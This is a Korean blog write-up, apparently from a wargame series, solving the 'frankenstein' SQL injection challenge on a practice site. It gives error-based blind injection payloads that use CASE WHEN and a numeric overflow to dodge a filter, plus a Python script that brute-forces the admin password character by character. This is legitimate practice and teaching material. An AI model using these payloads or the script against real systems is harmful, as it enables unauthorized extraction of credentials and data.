이번 포스트에서는 Lord of SQLInjection의 frankenstein문제에 대해 다루겠다.
문제를 클릭하면 다음과 같이 쿼리와 php코드가 표시된 화면을 볼 수 있다.
## 문제 해석 :
해당 문제는 preg_match() 함수를 통해 prob, _, ., (, ), union을 필터링하고 있다는 것과 에러가 발생하면 탈출한다는 사실을 알 수 있다.
또한 pw의 값을 알아야 문제를 해결할 수 있는 것으로 보인다.
## 문제 풀이 :
error 출력 및 case문을 이용해서 공격을 시도해보겠다. 또한 ()괄호가 필터링 되어 있으므로 비밀번호의 길이를 구하지 않고 바로 비밀번호를 구하도록 하겠다.
### 사용할 공격문 : pw=1' or id='admin' and case when pw like 'b%25' then 1 else 9e307*9e307 end%23
### 실행 결과 :
mysql가 인식할 수 있는 가장 큰 값이 9e307이므로 9e307*2를 넣어서 에러를 출력하게 만든다. 즉 pw의 값이 b로 시작하는 것이면 참, 아니라면 에러를 출력한다. 현재 에러를 출력한 것으로 보아 pw의 값이 b로 시작하지 않다는 사실을 추출해낼 수 있다.
실제 테스트해본 결과, pw의 첫 번째 값이 0이므로 0로 다시 공격을 시도해보겠다.
### 사용할 공격문 : pw=1' or id='admin' and case when pw like '0%25' then 1 else 9e307*9e307 end%23
### 실행 결과 :
화면이 정상적으로 출력된 것을 확인할 수 있다. 즉, pw의 첫 번째 값이 "0"인 것이다.
그러나 실제 값의 경우 길이가 엄청 클 수 있으므로 파이썬으로 공격 코드를 작성하여 공격을 실행해보겠다.
### 공격 코드 :
import requests
url = "https://los.rubiya.kr/chall/frankenstein_b5bab23e64777e1756174ad33f14b5db.php?" # 공격 사이트
cookies = {'PHPSESSID': '세션ID'} # 본인의 세션값
chs = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!@$^*-+=~"
# current_pw = "" # 비밀번호 길이 초기화
pw = ""
end = False
for i in range(1, 100):
if (end == True):
print("\033[32m" + f"[+] Final Password : {pw}")
break
end = True
for ch in chs:
query = f"1' or id='admin' and case when pw like '{pw}{ch}%' then 1 else 9e307*9e307 end#"
params = {'pw': query}
response = requests.get(url, params=params, cookies=cookies)
if "<hr><br>error" not in response.text:
pw += ch
print("\033[93m" + f"[-] Round : {i:2} | Password : {pw}")
end = False
break
### 실행 결과 :
### 최종 공격문 : pw=0dc4efbb
### 실행 결과 :
## 추가 해석 :
쿼리문 : pw=1' or id='admin' and case when pw like '0%25' then 1 else 9e307*9e307 end%23
case 문은 다음과 같은 구조를 가지고 있다.
case when [조건] then [참] else [거짓] end
해당 쿼리문은 pw가 0로 시작하는 값이면 1을 실행하고, 아니면 거짓을 실행한다는 의미다.
'Wargame > Lord of SQLInjection' 카테고리의 다른 글
Lord of SQLInjection (30. ouroboros) (0) | 2022.06.29 |
---|---|
Lord of SQLInjection (29. phantom) (0) | 2022.06.28 |
Lord of SQLInjection (27. blue_dragon) (0) | 2022.06.21 |
Lord of SQLInjection (26. red_dragon) (0) | 2022.06.20 |
Lord of SQLInjection (25. green_dragon) (0) | 2022.06.17 |